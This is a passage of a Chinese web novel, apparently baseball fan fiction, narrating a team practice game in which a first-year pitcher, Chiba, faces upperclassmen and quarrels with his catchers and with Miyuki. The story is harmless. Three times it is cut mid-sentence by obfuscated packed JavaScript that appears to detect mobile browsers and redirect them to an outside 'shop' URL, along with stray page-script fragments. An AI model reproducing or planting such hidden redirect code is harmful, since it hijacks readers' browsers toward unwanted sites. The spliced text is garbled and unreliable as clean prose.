“好球。”接到球的近藤播报。 东扶正了因挥棒力气太大甩歪的帽子,侧头问近藤:“刚刚他那是什么球?球速忽然慢了,变速球?” “对,变速球,还不是你挑衅他。”接到球的近藤很冷漠。 “嘿,我这么厉害,把决胜球投给我不是应该的吗?”东龇牙,“不过这臭小子第一轮就投变化球,心态还有的磨啊。” “正式比赛我肯定不会让他这么投的,如果他能上场的话。”近藤一边把球扔给千叶,一边对东说。 最后一个球了。 接到近藤前辈球的千叶冷静了下来。 好吧,好吧。近藤前辈似乎有点不高兴了,把球扔给他的力气都大了点。下一球还是老老实实投近藤前辈要的球吧—— 千叶撅着嘴把球投了出去。 “坏球。” 近藤把球扔回给他。 这回近藤前辈给他的球力气没那么大,应该不生气了,再下一个。 “忽——”千叶把球投了出去。 “梆——”千叶眼睛猛地睁大,他的球被打到了! “啧。”东清国扔下球棒往一垒跑。 “右外野!”近藤掀开面罩大喊。二垒的小凑向三垒冲去。 “接到了!”右外野大喊。 44.跑垒打击训练赛(3) 因为是练习,所以out掉三个人也没有攻守交换,只是小凑下了场,让三个垒包又恢复原状。 投手丘千叶活动了一下肩膀,觉得自己状态还可以,监督也没有换人的意思,所以他还可以继续投,下一个上场的打者是刚刚回到一军的上林前辈。 上林前辈很厉害,千叶一直知道,所以现在面对他,千叶心里还有点紧张——才怪。 东清国前辈的打击是怪物级别的,力量、反应速度,在高中阶段他都是绝对的顶尖。除非让他擦不中球皮或者投出的球转速高球威重,否则被打实一定会被击出本垒打,即使没有咬中球心凭力气也能抗到外野。 而上林前辈,他是少见的会猜球种打球同时又是力量型的打者(没有说力量型的打者一定不聪明的意思)。 一般的力量型打者都不愿意动猜球的脑子,他们只需要不停地练习挥棒,让球棒出棒速度快到追得上140+的棒球,再确定一个要打击的球路,等那颗球一来——出棒、击球,球就会飞得远远的,飞到外野,甚至飞出本垒墙。 但猜球种的打者动的脑子就很多了,在投手投球前需要算计对方投手和捕手,了解捕手的思路、配球特点,投手当天的心态、投球状态、甚至投手本人都没有意识到的习惯……然后站在打击区再猜测捕手会给投手配什么球,是直球还是曲球?投到内角还是外角?是好球还是坏球? 很多人都说猜球路的打者是最菜的打者,力量、反应力、眼神都不如其他人才选择这么曲折的打击方式,但千叶并不这么认为。 因为他也是这种类型的打者。 动脑子打球比用蛮力打可帅多了好吧!傻大个才会想着管他什么球过来我都要抗发大的呢。人又不是大风车,球棒的作用就是挥出去打到球,挥空一不小心把自己扭到地上多狼狈多不好看。 千叶抬着下巴不屑地想。 力气很大、长得不好看的上林前辈,也是动脑子打球类型的打者,让人有点意外。 千叶觉得虽然他没办法接受上林前辈的脸,但他有点欣赏他的打击风格了。 不过欣赏不耽误他把他投下去。 近藤前辈开始给他比暗号了。 直球,外角,靠近好球带底线,尽量投成好球,不给让打者太好打的球。 所以近藤前辈是想跟上林前辈抢好球数吗?千叶想。看来近藤前辈也觉得上林前辈很厉害。 千叶把球投了出去。 “忽——” “嘭——” 上林目送球进了手套。 “先看一球的习惯很好,上林。”近藤略微看了上林一眼,“这是颗好球。” “这一球我想打的。因为他球速慢了。”上林说。 “嗯?”近藤一凛。 上林缓缓将球棒重新摆好位置:“不过位置投得很好,我以为是坏球,所以没有出棒。你配球没错。” “……下次说话能不能别大喘气。” 无语的近藤把头转回来,给投手丘上千叶比了暗号。 既然上林那一球没有出棒,那就再投到底线来! 千叶点头,然后投球! “忽——” “嘭——” “好球。”近藤眉头舒展。很好,千叶状态不错,投得很靠近底线,上林没有挥棒。二好球。 最后一个,二缝线投到外角的边角,让他碰不到球。三振你的前辈吧! 千叶点头。 “忽——” ‘不好。位置太偏了!’近藤看球过来的方向心头一惊,急忙向左伸出手。 “啪——”球砸到的手套上橼,随即飞到了本垒后。 不死三振! 上林见到近藤漏球迅速扔下球棒往一垒冲去。 近藤立刻冷静地向后转身回头,追上嘀哩咕噜滚出去的球,然后捡起球抛向一垒。 尘土飞扬。 “怎么样?”近藤在本垒处大声问。 “上垒了。”一垒手前辈说。 “这家伙什么时候跑这么快了啊。”近藤不爽地喊道。 上林神色淡定地站在一垒上向千叶和近藤分别挥挥手。 近藤:“……”好气,好欠,上林终于被菅田那家伙带坏了吧。 千叶:“……”前辈你给近藤前辈挥手就好了,给我挥手是什么意思啊。 近藤给下一棒的结成比了个“先等等”的手势,在结成面无表情且一头雾水的注视下跑上投手丘。 ——“虽然好坏球是近藤判断的,但千叶投得很准,即使是真的裁判,刚刚那两个球也会被判成好球吧。” 休息区中,正在观战的三年级前辈们正在讨论上林刚刚的上垒。 铃木发表完意见后,小泉点头赞同:“确实,如果第三颗球不是千叶投偏了,上林应该那一球就会出棒打打看了。” 东一唱一和:“唉,但谁让近藤漏球了呢?上林应该也很想打打千叶的球吧。” 菅田抱胸附和:“去年把上林k掉的市大三高王牌就是控球很准的左投,他想打千叶的球是很正常的!一个打席都没有想想就很恐怖!” “……今天是跑垒打击的训练吧?你们怎么一个两个搞得像比赛一样,小题大做了吧。”看他们谈话热烈的明川无所事事地撑着脸,深觉懒散的自己跟其他同伴格格不入,“近藤居然还要上去安慰投手心态。刚刚接球的时候也很拼啊,我以为那老狐狸只会正式比赛才拿出真本事。今天都是怎么了。” “明川,你不去准备区准备吗?六棒的结成都上场了。”小泉提醒道。 投手丘上则是另一种气氛—— “下一棒是结成。”跑到投手丘上的近藤严肃地对千叶讲,“上林上垒就让他让他上垒了,他跑得慢,盗垒也没关系,不要在意他的干扰,我会解决他。重点是结成。” “……近藤前辈,怎么感觉你怪紧张的。” 给予后辈投手支持的近藤,不但没有迎来后辈的感动,反而迎来了后辈嫌弃的表情。 千叶嫌弃中带着看不起:“结成前辈是你后辈吧,你怕他吗?你这个做捕手的能不能给场上的投手一点有用的支持,感觉你好不靠谱!” “……”近藤觉得自己很冤枉,无语地解释,“我紧张的不是结成,我紧张的是你啊。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214997|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “紧张我做什么?我心态挺好的。”千叶不仅疑惑,眼神甚至还更嫌弃了,嫌他大惊小怪。 近藤:“……” 近藤深吸一口气。 小凑上垒之后你多想跟他较劲啊!你在投手丘上偷看小凑多少次自己心里没点数啊! 近藤气死了。红白赛他还没看出来,怎么千叶一垒上有人的时候也这么在意跑者。 他们队里的投手一个两个心态都不好。一年级他跟小泉搭档,小泉是垒上有人就烦躁,偏偏一年级的小泉控球烂得要命,一烦躁就大暴投。二年级来了一年级的丹波,丹波又是另一个极端了,垒上上人不敢投球,只想用变化球解决打者。 他接球不怎么样啊,他都承认了,怎么没有一个投手体谅他!一个两个的,控球那么一般还爱投控球更一般的变化球! 不爽的近藤感觉自己都要苍老了。 现在还要当个十分温和的前辈,拍着千叶的肩膀像个骗小孩的怪大叔:“对了千叶,你饿不饿啊,今晚听说食堂的阿姨会做金枪鱼欸!特别好的食材!你期待吗?” “?” 千叶一头雾水吐槽:“近藤前辈你吃错药了吗?好像在梦话……比赛呢,快醒醒近藤前辈。” “……这是训练,如果是比赛的话我不会让你这么任性的。”努力压下心中愤怒的近藤慈眉善目地循循善诱,“而且我在哄你啊,千叶,感受到前辈的体贴了吗?” 千叶平静地评价:“好恶心!” “……” 近藤面色平静心如止水地回到了本垒板。 结成看了近藤扭曲的表情一眼,挥棒热身找手感的动作慢了一拍。 近藤恶声恶气:“看什么看!”然后转过头,表情正常地面对投手丘在本垒蹲下。 “……”茫然的结成眨眨眼,把奇怪的近藤前辈扔到脑后,摆好了打击姿势。 不知道是不是谈话奏效了,千叶在向结成投球的时候真的没有再一垒看过一眼。 一眼都没有。上林离垒那么远,他都没有投牵制球。 近藤:“……” 本垒的近藤怒瞪投手丘上的千叶。 给跑者施压啊!瞪小凑的时候不是挺会的吗!虽然我说让你别紧张跑者交给我解决,但你不能一点不干活啊! 接受到近藤暗号的千叶默默当看不懂。 近藤前辈跟小凑前辈又不一样,小凑前辈看两眼叫人开心,上林前辈看两眼叫人升血压,这怎么能一样。 欸……可是近藤前辈砸手套砸的好大声。至于这么生气嘛。那我看一眼吧。 千叶面无表情地扫了一眼一垒就马上把头扭回来,投球! 近藤:“……” “忽——” “嘭——” “……”近藤手套一动未动。 结成等了一会儿,近藤没说话,于是问:“近藤前辈,是坏球吧?” “是。”近藤语气冷得掉渣了,狠狠把球扔给千叶,“结成,下颗球我还会配跟这颗球同样的球路,把投手丘上那个嚣张的小子的球给我轰出去,听见没?” 结成:“……” 45.跑垒打击练习赛(4) “坏球!”近藤隐含怒气地在千叶接到球后告诉他。 一垒的上林因为千叶那“快速的一眼”跟被千叶气到的近藤,忍不住微不可见地笑了笑。 他没想过盗垒,近藤很了解他,他不打算在他面前尝试他并不擅长的事,但千叶…… 上林忽然很想知道在近藤眼皮底下盗垒是什么感觉。 近藤这么生气的情况可不太多,上一次见到,还是他一年级跟小泉因为争论“接不到球谁的责任更大”的时候。 手掌是带着手套的,但接到近藤前辈投过来的球,手心也还是痛痛的。 完蛋,捕手生气了。千叶想。 刚刚没有等前辈的配球暗号就朝他的手套投了球,一般这么做捕手都会有点生气吧。不过这不能算他的错吧,如果不是近藤前辈老让我牵制上林前辈,我也不会“乱了方寸”。 上林前辈跑得不快,他盗不盗垒就不需要太在意——这不是近藤前辈自己说得嘛,那他不投牵制球有什么错?因为他不听话所以朝他生气、砸手套?拜托我们现在可都是一军啊前辈,你还要跟御幸争正捕啊前辈,不要想当然地指挥我吧? 啊,这么惹捕手好像不太好。 虽然近藤前辈长得一般,但他毕竟是前辈来着。 那我接下来就勉强配合他一下吧。 千叶看到了本垒的近藤一言不发地给他比出了暗号。 千叶微微皱起眉头。 怎么跟上一个球是一样的球路,是不是有点看不起结成前辈? 结成前辈挺厉害的吧,他是六棒,排在三年级前辈的前面呢,而且结成前辈气质也像厉害的打者,打击时候注意力很专注。让他打一样的球真的可以吗? 千叶松开眉头,一挑眉。 近藤前辈不会是想让我的球被打出去给我一个教训吧?应该不会吧。虽然是练习,而且他惹近藤前辈生气了,但近藤前辈不至于报复我吧?不会这么不大度吧? 千叶眼珠子一转,点头,手臂向后,投球! “咻——” “嗯?”近藤一惊,手向内角一偏。 结成出手一挥棒。 “嘭——” 近藤嘴角微抽:“……好球。” “近藤前辈,我刚刚投得很好吧。”投手丘上的千叶大声喊道,“我骗到结成前辈挥棒了!” 结成:“……” 近藤:“……” 结成看了近藤一眼。 近藤:“我说我刚刚没有跟那臭小子合伙骗你,你信吗?” 结成摇头。 …… 虽然结成前辈打击很厉害,挥棒非常恐怖,有点东前辈的影子,但结成前辈毕竟还是二年级,跟三年级的东前辈比还有一些差距,加上结成前辈比较贪心,只要不是一眼坏球,他都想打,所以最后的结果就是,虽然球棒挥得呜呜的,但结成前辈一颗球都没打到。 千叶:“……”怎么说呢,结成前辈居然是盲炮类型的吗?真没想到啊。 目送坚毅型的帅气前辈下场,千叶心情有点遗憾。帅气的打者被他投下去,他心里都会遗憾地为他们默哀的,这是对帅气打者的尊重。 同时呢,他也发现了个好消息,近藤前辈似乎在他非故意没有投准、赚到了好球之后,神奇地冷静下来不生他的气了。千叶真是万万没想到捕手还有如此海量,该说近藤前辈果然是三年级前辈吗?真是大人有大量,宰相肚子能撑船,跟记仇、爱笑话人、说话还不好听的可恶的御幸一点也不一样,他以后要多跟近藤前辈玩。 正在千叶给近藤贴上“好前辈”标签时,不远处的牛棚里,可恶的御幸正在和丹波前辈认真地练球。 虽然丹波不喜欢御幸,但也不得不承认,御幸真是一个太有天份悟性的捕手了,单从接球这方面来讲,他的曲球准度做不到指哪打哪,但御幸跟他稍微练习了几次,现在就已经能接得很好了,甚至比三年级、跟他练习时间长得多的近藤前辈接得更好。 近藤前辈看到克里斯、看到御幸时,会怎么想呢? 丹波放下了投球的手,侧头看向投手丘的方向,千叶正看向本垒的方向,举起了投球的手。 御幸……御幸他们又会怎么看待他们这群渐渐被追赶上的前辈呢。 “丹波前辈不练习了吗?”御幸举着接球手套,等了许久都没等来投球,于是开口问道。 “我有点累了。稍微休息一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214998|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下吧。”丹波收回目光,回头对御幸淡淡说完,随即转身朝着休息区的方向缓步走去。 此时,下场了的结成被站在休息区口的气势汹汹的东逮住了。 “你怎么也被三振了!”东非常生气且不可置信地问,“千叶那臭小子投球跟近藤有矛盾了吧,看看近藤那张恐怖的脸,扔球声音那个大!这么好的机会你都没抓住!” “……我没有。”结成很老实复述了场上的情况,“打第二球的时候近藤前辈跟我说他会给千叶配跟第一球一样的球路,然后我按那个球路打,没有打中。后面几个球我正常挥棒,千叶投得好,所以被三振了。” 东更不可置信了:“你傻么!怎么能信捕手的话!一听就是骗你的啊!” 结成老实中带着点茫然:“不是打击跑垒训练吗?我以为近藤前辈想送我上垒练盗垒。” 东:“……你一个挥大棒的,练哪门子跑垒啊。”他没话讲了。 “不练球了吗?”休息区后面安安静静看打击的小凑,余光发现了从牛棚走过来的丹波。 “没有手感,休息一会儿。”丹波随口应道,脚步没有停留,越过小凑,径直走向休息区的另一头。 小凑歪头,眯眯眼闪过一丝疑惑。丹波的背影,不管怎么看,都觉得有点失落。发生什么了吗? 不一会儿,御幸也走到了休息区。 御幸表情倒是很正常,看不出情绪是有什么波澜。 小凑盯着他看了片刻,等御幸走到自己身边,才笑眯眯地开口:“你想看近藤前辈的配球么?想看就过去打击吧,监督不会说什么的。” “欸?真的假的?”御幸也笑,手里拿着自己刚摘下来的捕手头盔。 听到他们俩对话的菅田侧过头补充:“最好是能给千叶那个臭小子一点颜色看看,他今天投得太顺,有点太狂妄了。” 东拉过结成嚷嚷,给结成打抱不平:“也别放过近藤,他今天也讨厌得很,连战术都用上,哪有跑垒训练不让人上垒的!” 此时,投手丘上的千叶倒是打起精神了,他目光灼灼地看着下一个打者前辈上场。 啊,是那个冷脸清冷型的帅气前辈,轮到他打击了。千叶想。 46.跑垒打击训练赛(5) 近藤无法排除千叶故意惹他的可能性。 无论是故意不想牵制一垒跑者,还是故意没等他暗号就把球随便扔进他的手套,千叶都有跟捕手对着干的嫌疑。 鉴于千叶这家伙有跟御幸打架,还有在红白赛上给捕手配球的前科,近藤有理由怀疑他们几个捕手,千叶心里都不满意。 不满意才会挑毛病。所以千叶果然是克里斯的迷弟吗?除了克里斯别的捕手都不和他心意? 也不像啊,前几轮打线他都挺老实的,就是结成打击的时候忽然抽风了。 难不成他不喜欢结成吗? 百思不得其解的近藤忍住内心的烦躁,给千叶又配了几个球。 欸,你猜怎么着?千叶投球又投得老实了,投得质量还相当高,几乎指哪打哪。 近藤抓耳挠腮想得头快秃了。 近藤想起了他家那只很聪明、但经常假装故意听不懂人话的边牧。 虽然他拿千叶没办法,但确实没有办法。 近藤不是冷静了,他是佛了,是躺平了,是进入贤者时刻般无牵无挂,然后看着七棒明川慎缓步踏上打击区。 再说吧,如果正式比赛千叶这臭小子乱抽风的话,我就让监督把他换下去。近藤冷漠地想。 …… “冷脸清冷型的前辈”——千叶一郎站在投手丘上,指尖摩挲着棒球的缝线,心里自给这位走上打击区的前辈贴上标签。 明川如果知道千叶在心里这么叫他,肯定会很开心地维护形象,很可惜他并不知道,反而在丹凤眼瞥向旁边的近藤时露出一个微笑。 千叶对面前“清冷前辈”的评分瞬间就低下去了。 长得一副酷哥样,就别随便笑了啊。笑起来形象和气质完全脱节。千叶忍不住腹诽。 虽说反差萌也很萌,但明川前辈你,明显不是走这个路线的啊。笑起来太不怀好意,甚至有点阴险狡诈了。 阴险狡诈的酷哥不在我的好球带上啊。千叶叹气。 难得有一个帅前辈,气质还不讨人欢心,白璧微瑕哦。 这位明川前辈是左打,身材不算高大强壮,站在打击区像只灵巧的山猫,应该跟同样是左打的小凑前辈一样,也是技巧型打者。 “碰——碰——”我走神时间有那么长吗?近藤前辈又在提醒我了。 千叶老实地向一垒的上林前辈看了一眼,眼神游移着不看他的脸,然后把目光转向本垒。 近藤已经看不出在生气了,现在一脸冷静。 唉,近藤前辈调整的还是太快了,被惹生气这么快就恢复,又想起来让我牵制上林前辈。千叶想。所以我得快点把明川前辈投下去吧。帅气的前辈是我的队友我当然开心,但是帅气的前辈要打我的球我就不高兴了,所以明川前辈你还是下场吧。 本垒处的近藤前辈给他配了靠近打者外侧的滑球。 其实我的滑球对右打者更有效吧?千叶想。 他是左投,投出的滑球会朝着右打者的面门过去,140+球速的球朝着脸这么重要的地方打过去,怎么看都很可怕。然而对左打者就没有这种威慑力了,滑球朝着远离左打者身体的方向飞,目的就变成了躲避球棒,让左打打不中球。 这种配球思路虽然没有任何问题,但千叶不怎么喜欢。 就好像我怕了一样!千叶有点不高兴地想。明川前辈是技巧型打者,如果要我自己配球的话,投直球就好了吧,被打出去也打不远。 千叶被自己冒出的想法吓了一跳。 啊,这种想法是怎么回事,你怎么有点瞧不起左打的意思啊千叶一郎,太骄傲了吧,虽然左投克左打已经是常识了,但明川可是前辈啊,前辈。比你多魔鬼训练了两年的前辈肯定比你厉害啊! 话说青道左打好像格外地少啊。千叶的思绪又不受控制地飘远了。一般队伍里不应该左打右打的比例在3:7或者4:6吗?怎么青道一军先发里面就两个练左打,对自己打出去的能力都那么有自信吗?不需要努力上垒吗? 算了想这些也没用……摇了摇头,千叶把这些无关紧要的念头甩到脑后。 滑球就滑球吧。 我会好好投出去的。 “咻——” “忽——”明川猛地挥棒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216805|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“嘭——” “好球。”近藤平静地说。 刚刚挥棒的力度太大,带动上半身划了个半,明川差点跪倒在地,踉跄一下才重新摆好打击姿势。 “滑球啊,上来就让我见识见识么?”明川邪气一笑。 “给你投滑球就是为了让你快点滚下场休息。”近藤将球扔回给千叶,“胳膊不是刚好么?别太拼了。” “刚刚不是还跟一年级闹别扭么?这么快就能同仇敌忾地对付我了?你是抖m吗?” “少说两句,说话那么不积德小心出门被套麻袋。” “被你吗?” “对。”近藤肯定并迅速摆好了接球姿势。 对面的千叶给力且爽快地把球投了过来。 “咻——” “嘭——” “好球。千叶投得好!”近藤前辈同样爽快地大声夸了他。 “近藤你跟我说话就是为了分散我注意力的吧!”明川很愤怒。 “谁让你愿意上当呢,这叫兵不厌诈。”近藤嗤道。 “……”投出球的千叶蜜汁微笑。 捕手的情绪都变化这么快吗? 还是感谢明川前辈吧,他的出现成功拉到了仇恨,近藤前辈现在在场上最讨厌的人变成明川前辈了。 “再来!”明川前辈不甘地再次把球棒扛到肩上。 近藤哼笑一声,把球投给千叶后,给他比出暗号。 ‘内角,投成坏球,放心,他肯定会挥棒的。’近藤眼神肯定。 千叶不置可否地点头。 肩膀联动胳膊、手腕,向前一甩—— “咻——” “忽——” “嘭——” “好球!”近藤笑了,他从本垒板处站起来,忽视了身旁愤怒的明川,冲休息区大声喊,“前辈们,又是无功而返哦!如果这是正式比赛的话,你们可是两局没有在一年级的菜鸟手上得分哦!” 刚刚走到休息区边缘带上打击护具的御幸,看着场上的情景忍不住咧嘴一笑,“啊呀,看起来下一轮我可能没有机会上去打千叶的球了。” 47.捕手们的谈话会(前) 近藤前辈拉仇恨的话,成功替千叶引起了公愤。 小凑微笑着拉住了已经换好护具的御幸。 东的脸严肃得非常可怕,肩头上扛着球棒,一步一个脚印地站到了御幸跟前。 御幸笑了笑,识相地顺着小凑前辈的手从休息区口走开,把通往打击准备区的位置让了出来。 原本虽然认真,但总体上还是比较悠闲的前辈们,一个两个,从休息区的长椅站起来或在栏杆旁站直。 刚被千叶投下场的明川还站在打击区,瞥见休息区的阵仗,忍不住嗤笑一声,刚才被三振的憋屈一扫而空,对近藤道:“看起来你引起众怒了。” “那怎么了了?”近藤若无其事地蹲在本垒上整理手套,“又不是我的球会被打者打出去。” “一年级可真倒霉呀。”明川看着投手丘上依旧面无表情、仿佛没有听到近藤拉仇恨的话的千叶,不由得幸灾乐祸。 不出御幸所料,他成功失去了这轮打击机会,场上变成了几个前辈轮流打击,而且不知道是因为近藤前辈的话太有杀伤力,还是前辈们看不惯千叶已久,总之每个人的挥棒看上去都相当卖力,相当有力气,因此千叶的球也会被打到外野了。 御幸排到了明川前辈和小宫前辈的后面。 千叶面对此情此景,没有任何表示。 他一脸淡定地按照近藤前辈的配球投球,只是他开始对近藤前辈摇头了。 难道千叶在场上表达对捕手的不满的方式就只是摇头吗? 跟他的性格比起来,未免有些太乖巧、太善解人意了吧。 御幸想。 在千叶连续放了东前辈和明川前辈上垒后,御幸终于站上了打击区。 投手丘上,千叶的神情从前辈们认真的打他的球开始,就变得非常的平静。 千叶是因为对手认真起来,所以也会认真起来的投手吗? 御幸不知道这个问题的答案,千叶也不知道。 千叶不知道自己认真之后,投球质量会变好还是变差,他判断自己是否认真的唯一标准就是脑子里有没有胡思乱想、精神力是否集中在打者身上。 到目前为止他都做得很好,脑子里没有胡思乱想,也很认真的在对付前辈们。已经轮过一轮打线,这一轮打击中,前辈们开始偶尔会把他的球打中,但到目前为止他还没有失分。 直到他看到御幸站上了打击区。 御幸是左打,他是个练左打的右撇子,就像他是个练右打的左撇子一样。——千叶准备投球的时候,忽然意识到了这一点。 “忽——” 他看到近藤前辈睁大了眼睛,一直吊郎当又认真的神情从他脸上消失了。 “梆——” 御幸打中了他的球。 …… “千叶一共投了六局,球数109,失分4,最速度球速147km/h,变速球最低球速126km/h。”长谷川拿着记录册道。 “用球数有点多了,再投下去,对肩膀和身体负担太大。”片冈监督目光沉静地望向投手丘,“通知千叶,今天接下来的训练,全部取消。” “是!” 太田部长听得微微一怔,有些意外:“我们队的打线在全国都排得上号,他一个刚升上一军的一年级投手,能投成这样……真是叫人没想到。红白赛的时候还没有这么出色。” “是因为今天大家都很有干劲,也激发了千叶的斗志吧。”高岛老师推了推眼镜,目光里带着几分欣赏,“千叶似乎是对手越强越能把球投好的类型,垒上有人也表现得很冷静。” “这只是对内训练。”片冈监督语气平稳,不带多余情绪,“具体还要看正式比赛上他的表现。” 他顿了顿,淡淡宣布:“下周的练习赛,我打算让千叶先发。” “对手是——”太田部长先是一愣,随即猛地瞪大眼睛。 “市大三高。”高岛老师轻声接话。 …… 第二天,教学楼。 有一个好消息。 好消息是克里斯前辈回学校上课了,他听夏川说,她吃午饭时在小卖部看到了克里斯前辈。 千叶原本除了想上去看望一下克里斯前辈,没什么特别的想法,结果下一秒,就听见夏川补了一句:“我还看到御幸去三年级楼层了。” 千叶:“……” 可恶的御幸。千叶不高兴地坐回位置上。 夏川有点疑惑地问:“御幸是去探望克里斯前辈了吧,你不跟他一起去吗?” “哼!不去。”千叶头扭到一边不解释。 仓持在一旁坏笑,对着夏川朝千叶努努嘴:“前两天又吵架了,还没和好呢,而且听说昨天御幸还打中了他的球,现在估计更生气了。” 夏川失笑:“气性好大啊!” “是啊!小气鬼简直是。”仓持拖长声调。 撑着头背对着他俩千叶忍不住转过头,愤怒地瞪着俩人开始喋喋不休:“你们两个是怎么回事,我还在这儿呢!你们怎么不说御幸的坏话反而说我的怀话!难道我跟他生气就是我一个人的原因吗?明明是他的错啊!” “欸?可是,不是你单方面不跟他沟通的吗?”仓持说。 “而且御幸看上去不想跟你计较的样子欸。”夏川也说。 千叶委屈极了。 谁都不理解他。御幸虽然坏,但他怎么这么会假装自己是好人。身边的朋友居然会觉得他比御幸做得错处更大。 下午,到了训练场。 有一个坏消息。 坏消息是下午的训练,他没有看到克里斯前辈来训练场。 “片冈监督,您知道克里斯前辈的伤势怎么样了吗?”千叶独自一人站在监督面前如此问道。 他的身后,正在打击的前辈们正挥舞着球棒,挥洒汗水。牛棚里面,近藤和小泉,还有御幸丹波,也两两结对,正在投球练习。 片冈监督看着眼前的千叶,神色平静地问:“你基础练习结束了吗?” 千叶道:“完成了。” “拉伸呢?” “也完成了。” 监督神色冷淡下来:“所以你现在是没有事做了么?”——因为训练的少了,所以太闲了在训练时间说闲话吗?监督似乎是这个意思。 “不是。”有点紧张的千叶老实回答,“我只是想知道克里斯前辈什么时候能够归队。” “……”监督看了他一会儿,才缓声告诉他,“克里斯的伤需要修养,暂时不能归队训练。” “是。”千叶回答。 按理说问到这里他就该识趣地离开了,可千叶还是有点不甘心。 所以只能在白天去三年级找克里斯前辈了 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千叶在红白赛被这位前辈击出本垒打之后,就记住了这位前辈的名字——伊佐敷纯,倒是挺小清新的名字,性格却很火爆。 这个前辈昨天也打过他的球,他是会挥大棒的类型,还习惯性第一球就出手,但这次他一球都没打中。 “外面的发球机都已经有主了!没人的时候,我自然会过去训练的!”伊佐敷前辈理直气壮地说。 千叶点点头,表示自己知道了。 无论哪个地方的学校、球队,都存在着严格的“等级”秩序。替补的选手要给先发服务,无论是训练馆还是器材都要为先发让路,跟上级对下级的压榨不同,这是所有想赢得比赛的队伍都不得不做的付出,就像伊佐敷前辈即使到了一军,因为他不是一军的先发,就不能先用发球机训练。 就像现在训练馆外,还有二军的前辈放弃自己的训练时间,正在给一军球员喂球打击。 如果你想要别人为自己服务,你就拿出足够的实力配得上别人为你付出的时间和汗水——尤其是这些为你付出时间和汗水的人都是自愿的。 千叶忽然有点明白了克里斯前辈为什么要拼着自己胳膊受伤,也要继续上场。 不仅是因为他代表着同期,也不仅是因为他跟丹波前辈他们一起去甲子园的约定,还因为有那么多帮助他练习的队友,而他是一军的正捕手。 “伊佐敷前辈,克里斯前辈成绩很好吧?你跟克里斯前辈是同一个班吗?”千叶忽然灵光一现,向伊佐敷前辈问道。 “……不是。”伊佐敷前辈脸色忽然变得有些难看,他咬牙说,“克里斯是A班的。” “嗷。”千叶乖巧地闭上了嘴。 嗯,a班,学霸班。伊佐敷前辈这个长相也确实不像学习好的。 “你是想知道克里斯的情况吗?”过了一会儿,伊佐敷表情恢复了正常,“听他说,发现得及时,肩膀的伤不算严重,但具体什么时候能归队还需要看恢复的情况……你担心他吗?” “嗯嗯。”千叶点头点了好几下。 “他也挺担心你的。”伊佐敷侧过头认真地对千叶说,“尤其是听说了你又跟御幸吵架的事情之后,他更担心了。” 千叶:“……” 48.捕手们的谈话会(中) 训练结束。 千叶找到高岛老师办公室,原本以为高岛老师已经下班了,但办公室的灯意外地还亮着。。 办公室里只有高岛老师一个人,手下压着的好像是接下来的练习赛日程。 因为马上五一小长假,青道练习赛安排的很紧凑,在小长假之后就是春季关东大会和夏甲预选赛,所以现在加班也正常吧? 千叶敲敲门,走进去。 “……克里斯没有离队,今天也来找办公室销假了,晚上会回寝室。你找他有什么事情吗?”高岛老师在听说千叶找过来的来意后,合上计划表,回答了他的问题。 “其实也没有什么事情,只是……”千叶有点犹豫。 因为御幸,他被克里斯前辈担心了。 “只是担心克里斯的身体状况?”高岛老师微笑,“我觉得你可以今天晚上自己去问他。”然后又拍着他的肩膀道,“别太担心了千叶,克里斯归队只是时间问题。” 晚餐时间。 御幸正在吃饭,吃着吃着,忽然身旁落下一道影子挡住了光。 他侧头,居然是千叶。他拿着餐盘站在他旁边居高临下地低着头看着他,顶光打在他头上给他的上半张脸打上阴影。 “……怎么了?”沉默片刻,面前的人没有任何表示,御幸无奈开口。 千叶撅着嘴,把餐盘放下,拉开他旁边的椅子坐上去。 “你跟克里斯前辈说什么了。”他听到千叶不爽地问。 御幸咧嘴笑了一下。 终于忍不住了吗?风水轮流转,终于轮到千叶过来追着我了吗? 御幸放下筷子,托腮呵呵笑道:“啊啦,不是从昨天开始就不理我了嘛,因为球被我打出去输不起什么的,我还以为你记仇呢。” “我没有。”千叶忍气吞声,“你告诉克里斯前辈我们吵架了吗?” “没有吗?”御幸忽略了千叶的话,嘴里巴巴继续输出,“但千叶你表现的完全不是不在乎的样子呢~从前几天你莫名其妙拒绝跟我交流、到你发现你变速球投得烂、再到投得烂的变速球被我打出去,你都表现得特别不想理我,就算是我追在你屁股后面你都不跟我说话嘛!” “我现在不就是在跟你说话嘛!”千叶烦了,“御幸你怎么那么多废话,要说就说,不说就算了!” 千叶忽然发现面前的御幸忽然沉默了,他脸冷了下来。 “千叶,我对你的作用就是有用的时候聊一聊,没用的时候一脚踢开吗?”御幸说。 “……” 食堂中“一餐需食三大碗”的牌子挂在头顶。 